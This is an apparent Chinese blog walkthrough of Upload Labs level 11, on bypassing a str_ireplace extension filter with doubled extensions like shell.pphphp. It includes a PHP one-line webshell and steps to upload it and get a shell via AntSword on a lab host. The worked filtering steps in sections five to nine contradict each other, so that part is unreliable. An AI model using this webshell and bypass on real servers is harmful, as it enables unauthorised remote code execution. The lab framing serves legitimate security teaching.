文章总结: 文档讲解UploadLabs第11关利用双写后缀绕过文件上传限制的原理与实操。核心漏洞源于str_ireplace函数执行非递归替换,攻击者可构造如shell.phpphp的文件名,使过滤后重新生成危险后缀,从而上传木马。内容涵盖源码分析、构造过程及蚁剑验证,步骤清晰,实战性强。 综合评分: 82 文章分类: WEB安全,渗透测试,漏洞分析,实战经验
Upload Labs 第11关:双写后缀绕过文件上传限制
原创
武文学网安 武文学网安
武文学网安
2026年3月23日 23:56 四川
大家好,我是武文。
在前面的关卡中,我们已经学习了多种绕过方式:
-
大小写绕过
-
点 / 空格绕过
-
$DATA绕过
-
点空格点绕过
这些更多是利用系统解析差异。
但第11关开始,进入一个非常经典、也是实战中非常常见的漏洞:
字符串替换过滤绕过(双写后缀)
一、核心源码分析
第11关关键代码如下:
$denyext = array(“php”,”php5″,”php4″,”php3″,”php2″,”html”,”htm”,”phtml”,”pht”,”jsp”,”jspa”,”jspx”,”jsw”,”jsv”,”jspf”,”jtml”,”asp”,”aspx”,”asa”,”asax”,”ascx”,”ashx”,”asmx”,”cer”,”swf”,”htaccess”,”ini”);$filename = trim($FILES[‘uploadfile’][‘name’]);$filename = strireplace($denyext,””, $filename);$tempfile = $FILES[‘uploadfile’][‘tmpname’];$imgpath = UPLOADPATH.’/’.$file_name;
二、这段代码在干什么?
逻辑其实很简单:
👉 把文件名中的“危险字符串”全部删除
例如:
shell.php → shell.
shell.jsp → shell.
开发者的想法是:
“我把 php、jsp 都删掉,你就没法上传木马了。”
看起来很合理,但问题就出在:
str_ireplace()
三、漏洞核心:str_ireplace 的“非递归替换”
函数:
str_ireplace($deny_ext,"",$file_name);
特点:
只对原始字符串进行一次整体替换
不会对替换后的结果再次检查
四、漏洞产生过程(关键!)
我们构造文件名:
shell.phpphp
第一步:原始输入
shell.phpphp
第二步:执行替换
str_ireplace("php","",$file_name);
替换过程:
shell.phpphp
↓ 删除 php
shell.
第三步:最终文件名
shell.
五、关键问题来了
Windows / Apache 在处理:
shell.
时,会自动解析为:
shell
但如果你构造稍微变化一下:
六、真正可利用 Payload
shell.php.php
替换过程:
shell.php.php
↓ 删除 php
shell..
最终:
shell.
→ shell
但这里还不够稳定。
七、最稳定利用方式(重点)
真正推荐的写法:
shell.pphphp
原因:
str_ireplace 是忽略大小写
但替换是按匹配顺序进行,pphphp—>php
八、最核心利用思路(总结一句话)
第11关的本质不是:
让 .php 直接存在
而是:
通过“拼接污染”,让过滤后重新生成 .php
九、实战操作
1 准备一句话木马
<?php@eval($_POST['cmd']); ?>
2 将文件名命名为shell.pphphp
3 上传后服务器处理
shell.phpphp
↓ 过滤 php
shell.
↓ 系统解析
shell.php
最终生成:
shell.php
十、验证漏洞
访问:
http://192.168.243.128/uploadlabs/upload/shell.php
使用蚁剑连接:
密码:cmd
成功 getshell。
总结
这一关双写绕过其实和前面SQL注入中双写关键词绕过的章节类似。本质都是开发者使用 str_ireplace 删除危险后缀,但由于字符串替换不会递归处理,攻击者可以通过“双写后缀”让过滤后重新生成 .php,从而绕过限制。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:武文学网安 武文学网安 武文学网安《Upload Labs 第11关:双写后缀绕过文件上传限制》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论